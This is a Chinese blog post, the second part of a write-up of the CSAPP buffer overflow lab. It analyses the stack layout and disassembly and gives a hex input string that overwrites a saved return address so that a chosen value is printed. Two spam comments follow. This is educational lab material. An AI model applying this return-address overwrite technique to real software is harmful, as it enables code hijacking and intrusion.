CSAPP:缓冲区溢出攻击实验(Part 1)

CSAPP:缓冲区溢出攻击实验(Part 2)

asd posted @ Wed, 16 Mar 2011 18:19:20 -1100 in ASSEMBLY , 2834 readers

有了反汇编,在结合源码来找思路:

1:

main函数里,作者使用了一个little hack trick

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

因为栈是向下生长,且linux有一种对栈的随机保护机制,即最初的ebp在2^23字节范围内浮动

而linux通常一个page的大小为4k;

所以offset & 0xfff 即可得到当前的esp所在的页的 剩余字节数。

-------4k

 

esp

 

-------0

esp的低12位即为当前页的剩余字节数。main的作用之一就是确保在进入test函数时,使用的是一个全新的page.同时也确保了进入test时,ebp为一确定值。

根据汇编流程,对栈帧的分析 可以得到如下的栈结构:

addr            content
bfffefdc        080485a5(eip return to main)
bfffefd8        bffff6e8(save ebp for main)
bfffefd8        test's ebp
.
.
bfffefcc        **ebp-12**,the return value of getbuf
.
.
.
.
bfffefb0        esp(for test)
bfffefac        08048543(eip return to test)
bfffefa8        bfffefd8(save ebp for test)
.
.
.
bfffef94        &buf
.
.
.
bfffef80        buf(arg)        
bfffef7c        08048524        (eip return to getbuf)
bfffef78        ebp             getxs's ebp

于是有思路了,通过向buf写入多于12字节的内容,达到改写栈的效果,而主要改写的内容则为ebp(bfffefa8),eip(bfffefac),esp(bfffefb0).

再仔细研究,反汇编test的部分代码:printf("getbuf returned 0x%x\n", val);

   0x08048539 <+14>:     e8 3a fe ff ff call   0x8048378 <printf@plt>
   0x0804853e <+19>:     e8 d0 ff ff ff call   0x8048513 <getbuf>
   0x08048543 <+24>:     89 45 f4       mov    %eax,-0xc(%ebp)
=> 0x08048546 <+27>:     b8 91 86 04 08 mov    $0x8048691,%eax
   0x0804854b <+32>:     8b 55 f4       mov    -0xc(%ebp),%edx
   0x0804854e <+35>:     89 54 24 04    mov    %edx,0x4(%esp)
   0x08048552 <+39>:     89 04 24       mov    %eax,(%esp)

从箭头的上面一行开始看,getbuf的返回值在eax中。之后eax存入-0xc(%ebp),字符串地址存入edx,然后printf的参数一次进栈(由右至左),特别注意getbuf返回值的动向:eax存入-0xc(%ebp),-0xc(%ebp)作为参数存入0x4(%esp).从这里发现:只要让eax对-0x(%ebp)的赋值失效,然后在-0x(%ebp)处写入自己希望的值,即可让该值如栈,达到"改写" val的效果.那怎么让eax对-0x(%ebp)的赋值失效?可以通过getbuf返回时,要恢复的eip处下手,如果让eip运行的指令地址为0x08048546即可(原为0x08048543)。两eip差为三。则可以将bffefac处的内容改写为0x08048546.之后为了顺利返回,保持原本的栈结构。bffefa8(ebp)及bfffefb0(esp)可保持原样写入。最后一步,由于-0xc(%ebp)的赋值为“未初始化”,最后向该地址写入 “希望的内容”后,该内容即可作为printf的参数了。done.

00000000 00000001 00000002 00000003 00000004 d8efffbf 46850408 00f0ffbf 00000008 00000009 0000000a 0000000b 0000000c 0000000d efbeadde

不要忘记忽略大小端的影响!本输入内容为小端环境!

最后根据这个思路,在生成执行文件是若不使用-fno-stack-protector,也应该可以实现该效果,就不多说了。欢迎讨论,提供新思路:D

Avatar_small
AAA said:
Sun, 24 Apr 2022 09:15:35 -1100

Hey what a brilliant post I have come across and believe me I have been searching out for this similar kind of post for past a week and hardly came across this. Thank you very much and will look for more postings from you. Merchant Services ISO Program

Avatar_small
AAA said:
Thu, 28 Apr 2022 06:22:43 -1100

Thanks for this excellent article. One other thing is that a lot of digital cameras come equipped with the zoom lens that enables more or less of your scene to get included by means of ‘zooming’ in and out. All these changes in concentration length are usually reflected while in the viewfinder and on significant display screen right at the back of the specific camera. ISO Agent Program


Login *


loading captcha image...
(type the code from the image)
or Ctrl+Enter